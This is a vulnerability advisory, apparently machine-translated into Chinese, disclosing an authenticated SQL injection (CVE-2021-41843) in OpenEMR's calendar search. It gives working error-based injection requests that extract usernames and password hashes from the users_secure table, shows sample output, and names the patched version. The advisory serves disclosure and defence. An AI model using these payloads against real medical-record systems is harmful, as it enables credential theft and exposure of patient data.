受影响的产品:OpenEMR Web 应用程序
测试版本:6.0.0、6.1.0-dev
供应商:OpenEMR 项目
https://www.open-emr.org
OpenEMR Web 应用程序是一种医疗实践管理软件,可以 用于存储电子病历。
Trovent Security GmbH 在搜索中发现了一个 SQL 注入漏洞 日历模块的功能。参数“provider_id”是可注入的。 攻击者需要一个有效的用户帐户才能访问日历模块 Web应用程序。可以从数据库的所有表中读取数据。
严重性:中 CVSS 分数:6.5(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE ID:CWE-89 CVE ID:CVE-2021-41843
概念证明
(1) 从数据库表'openemr.users_secure'中读取用户名的HTTP请求:
POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09/16/2021&end=09/23/2021& provider_id=(UPDATEXML(1,CONCAT(0x2e,0x20,(SELECT MID((IFNULL(CAST(username AS NCHAR),0x20)),1,22) FROM openemr.users_secure ORDER BY id)),1))&pc_facility=&submit=Submit
(2) 对 (1) 的 HTTP 响应:
HTTP/1.1 200 正常
XPATH 语法错误:'admin'
(3) HTTP请求从数据库表'openemr.users_secure'中读取密码哈希:
POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09/16/2021&end=09/23/2021& provider_id=(UPDATEXML(1,CONCAT(0x2e,0x20,(SELECT MID((IFNULL(CAST(password AS NCHAR),0x20)),1,22) FROM openemr.users_secure ORDER BY id)),1))&pc_facility=&submit=Submit
(4) 对 (3) 的 HTTP 响应:
HTTP/1.1 200 正常
XPATH 语法错误:“$2y$10$ukudH2lRSW2vKX。”
解决方案
在漏洞修复之前限制对日历搜索功能的访问。 在 OpenEMR 版本 6.0.0 补丁 3 中修复,由 Trovent 验证。